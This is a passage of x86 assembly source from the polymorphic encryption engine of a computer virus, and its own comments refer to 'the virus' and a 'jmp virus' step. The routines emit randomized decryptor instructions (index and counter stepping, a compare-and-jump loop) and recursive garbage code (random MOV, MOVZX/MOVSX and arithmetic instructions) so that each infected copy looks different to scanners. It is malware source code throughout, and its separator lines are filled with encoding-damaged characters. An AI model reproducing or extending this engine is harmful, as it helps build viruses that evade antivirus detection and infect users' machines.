;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_next_step: ;Get number of bytes to inc or dec the index reg
|
|||
|
|
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,byte ptr [ebp+oper_size]
|
|||
|
|
|
|||
|
|
loop_update: ;Get number of bytes to update with this instruction
|
|||
|
|
|
|||
|
|
mov eax,ecx
|
|||
|
|
call get_rnd_range
|
|||
|
|
inc eax
|
|||
|
|
|
|||
|
|
;Check direction
|
|||
|
|
|
|||
|
|
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
|
|||
|
|
jnz step_down
|
|||
|
|
|
|||
|
|
call do_step_up
|
|||
|
|
jmp short next_update
|
|||
|
|
|
|||
|
|
step_down: call do_step_down
|
|||
|
|
|
|||
|
|
next_update: sub ecx,eax
|
|||
|
|
jecxz end_update
|
|||
|
|
jmp short loop_update
|
|||
|
|
end_update: ret
|
|||
|
|
|
|||
|
|
do_step_up: ;Move index_reg up
|
|||
|
|
|
|||
|
|
or eax,eax
|
|||
|
|
jz up_with_inc
|
|||
|
|
|
|||
|
|
;Now choose ADD or SUB
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
call get_rnd32
|
|||
|
|
and al,01h
|
|||
|
|
jnz try_sub_1
|
|||
|
|
|
|||
|
|
try_add_1: mov ax,0C081h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
try_sub_1: mov ax,0E881h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
neg eax
|
|||
|
|
stosd
|
|||
|
|
neg eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
up_with_inc: ;Generate INC reg_index
|
|||
|
|
|
|||
|
|
mov al,40h
|
|||
|
|
or al,byte ptr [ebp+index_mask]
|
|||
|
|
stosb
|
|||
|
|
mov eax,00000001h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
do_step_down: ;Move index_reg down
|
|||
|
|
|
|||
|
|
or eax,eax
|
|||
|
|
jz down_with_dec
|
|||
|
|
|
|||
|
|
;Now choose ADD or SUB
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
call get_rnd32
|
|||
|
|
and al,01h
|
|||
|
|
jnz try_sub_2
|
|||
|
|
|
|||
|
|
try_add_2: mov ax,0C081h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
neg eax
|
|||
|
|
stosd
|
|||
|
|
neg eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
try_sub_2: mov ax,0E881h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
down_with_dec: ;Generate DEC reg_index
|
|||
|
|
|
|||
|
|
mov al,48h
|
|||
|
|
or al,byte ptr [ebp+index_mask]
|
|||
|
|
stosb
|
|||
|
|
mov eax,00000001h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Next counter value
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_next_ctr: ;Check counter direction and update counter
|
|||
|
|
;using a INC or DEC instruction
|
|||
|
|
|
|||
|
|
test byte ptr [ebp+build_flags],CRYPT_CDIR
|
|||
|
|
jnz upd_ctr_down
|
|||
|
|
upd_ctr_up: mov al,40h
|
|||
|
|
or al,byte ptr [ebp+counter_mask]
|
|||
|
|
jmp short upd_ctr_ok
|
|||
|
|
upd_ctr_down: mov al,48h
|
|||
|
|
or al,byte ptr [ebp+counter_mask]
|
|||
|
|
upd_ctr_ok: stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Loop
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_loop: ;Use counter reg in CMP instruction?
|
|||
|
|
|
|||
|
|
test byte ptr [ebp+build_flags],CRYPT_CMPCTR
|
|||
|
|
jnz doloopauxreg
|
|||
|
|
|
|||
|
|
;Generate CMP counter_reg,end_value
|
|||
|
|
|
|||
|
|
mov ax,0F881h
|
|||
|
|
or ah,byte ptr [ebp+counter_mask]
|
|||
|
|
stosw
|
|||
|
|
mov eax,dword ptr [ebp+end_value]
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
jmp doloopready
|
|||
|
|
|
|||
|
|
doloopauxreg: ;Get a random valid register to use in a CMP instruction
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
|
|||
|
|
;Move index reg value into aux reg
|
|||
|
|
|
|||
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
shl ah,03h
|
|||
|
|
or ah,byte ptr [ebp+counter_mask]
|
|||
|
|
or ah,0C0h
|
|||
|
|
mov al,8Bh
|
|||
|
|
stosw
|
|||
|
|
|
|||
|
|
;Guess what!?
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
call gen_garbage
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
;Generate CMP aux_reg,end_value
|
|||
|
|
|
|||
|
|
mov ax,0F881h
|
|||
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosw
|
|||
|
|
mov eax,dword ptr [ebp+end_value]
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
;Restore aux reg state
|
|||
|
|
|
|||
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
|
|||
|
|
doloopready: ;Generate the following structure:
|
|||
|
|
;
|
|||
|
|
; loop_point:
|
|||
|
|
; ...
|
|||
|
|
; cmp reg,x
|
|||
|
|
; jne loop_point
|
|||
|
|
; ...
|
|||
|
|
; jmp virus
|
|||
|
|
; ...
|
|||
|
|
|
|||
|
|
mov ax,850Fh
|
|||
|
|
stosw
|
|||
|
|
mov eax,dword ptr [ebp+loop_point]
|
|||
|
|
sub eax,edi
|
|||
|
|
sub eax,00000004h
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate some garbage code
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_garbage: ;More recursive levels allowed?
|
|||
|
|
|
|||
|
|
inc byte ptr [ebp+recursive_level]
|
|||
|
|
cmp byte ptr [ebp+recursive_level],03h
|
|||
|
|
jae exit_gg
|
|||
|
|
|
|||
|
|
;Well, we can call this routine from lots of places
|
|||
|
|
;in the virus, so take care about direction flag
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
|
|||
|
|
;Choose garbage generator
|
|||
|
|
|
|||
|
|
mov eax,00000003h
|
|||
|
|
call get_rnd_range
|
|||
|
|
inc eax
|
|||
|
|
mov ecx,eax
|
|||
|
|
loop_garbage: push ecx
|
|||
|
|
mov eax,(end_garbage-tbl_garbage)/04h
|
|||
|
|
call get_rnd_range
|
|||
|
|
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
call eax
|
|||
|
|
pop ecx
|
|||
|
|
loop loop_garbage
|
|||
|
|
|
|||
|
|
;Update recursive level
|
|||
|
|
|
|||
|
|
exit_gg: dec byte ptr [ebp+recursive_level]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate MOV reg,imm
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_movreg32imm: ;Generate MOV reg32,imm
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov al,0B8h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
call get_rnd32
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
g_movreg16imm: ;Generate MOV reg16,imm
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov ax,0B866h
|
|||
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosw
|
|||
|
|
call get_rnd32
|
|||
|
|
stosw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
g_movreg8imm: ;Generate MOV reg8,imm
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
|
jnz a_movreg8imm
|
|||
|
|
call get_rnd32
|
|||
|
|
mov al,0B0h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
push eax
|
|||
|
|
call get_rnd32
|
|||
|
|
pop edx
|
|||
|
|
and ax,0004h
|
|||
|
|
or ax,dx
|
|||
|
|
stosw
|
|||
|
|
a_movreg8imm: ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate mov reg,reg
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_movregreg32: call get_rnd_reg
|
|||
|
|
push ebx
|
|||
|
|
call get_valid_reg
|
|||
|
|
pop edx
|
|||
|
|
cmp ebx,edx
|
|||
|
|
je a_movregreg32
|
|||
|
|
c_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
shl ah,03h
|
|||
|
|
or ah,byte ptr [edx+REG_MASK]
|
|||
|
|
or ah,0C0h
|
|||
|
|
mov al,8Bh
|
|||
|
|
stosw
|
|||
|
|
a_movregreg32: ret
|
|||
|
|
|
|||
|
|
g_movregreg16: call get_rnd_reg
|
|||
|
|
push ebx
|
|||
|
|
call get_valid_reg
|
|||
|
|
pop edx
|
|||
|
|
cmp ebx,edx
|
|||
|
|
je a_movregreg32
|
|||
|
|
mov al,66h
|
|||
|
|
stosb
|
|||
|
|
jmp short c_movregreg32
|
|||
|
|
|
|||
|
|
g_movregreg8: call get_rnd_reg
|
|||
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
|
jnz a_movregreg8
|
|||
|
|
push ebx
|
|||
|
|
call get_valid_reg
|
|||
|
|
pop edx
|
|||
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
|
jnz a_movregreg8
|
|||
|
|
cmp ebx,edx
|
|||
|
|
je a_movregreg8
|
|||
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
shl ah,03h
|
|||
|
|
or ah,byte ptr [edx+REG_MASK]
|
|||
|
|
or ah,0C0h
|
|||
|
|
mov al,8Ah
|
|||
|
|
push eax
|
|||
|
|
call get_rnd32
|
|||
|
|
pop edx
|
|||
|
|
and ax,2400h
|
|||
|
|
or ax,dx
|
|||
|
|
stosw
|
|||
|
|
a_movregreg8: ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate MOVZX/MOVSX reg32,reg16
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_movzx_movsx: call get_rnd32
|
|||
|
|
mov ah,0B7h
|
|||
|
|
and al,01h
|
|||
|
|
jz d_movzx
|
|||
|
|
mov ah,0BFh
|
|||
|
|
d_movzx: mov al,0Fh
|
|||
|
|
stosw
|
|||
|
|
call get_rnd_reg
|
|||
|
|
push ebx
|
|||
|
|
call get_valid_reg
|
|||
|
|
pop edx
|
|||
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|||
|
|
shl al,03h
|
|||
|
|
or al,0C0h
|
|||
|
|
or al,byte ptr [edx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate ADD/SUB/XOR/OR/AND reg,imm
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_mathregimm32: mov al,81h
|
|||
|
|
stosb
|
|||
|
|
call get_valid_reg
|
|||
|
|
call do_math_work
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
g_mathregimm16: mov ax,8166h
|
|||
|
|
stosw
|
|||
|
|
call get_valid_reg
|
|||
|
|
call do_math_work
|
|||
|
|
stosw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
g_mathregimm8: call get_valid_reg
|
|||
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
|
jnz a_math8
|
|||
|
|
mov al,80h
|
|||
|
|
stosb
|
|||
|
|
call do_math_work
|
|||
|
|
stosb
|
|||
|
|
and ah,04h
|
|||
|
|
or byte ptr [edi-00000002h],ah
|
|||
|
|
a_math8: ret
|
|||
|
|
|
|||
|
|
do_math_work: mov eax,end_math_imm-tbl_math_imm
|
|||
|
|
call get_rnd_range
|
|||
|
|
lea esi,dword ptr [ebp+eax+tbl_math_imm]
|
|||
|
|
lodsb
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
call get_rnd32
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate push reg + garbage + pop reg
|
|||
|
|
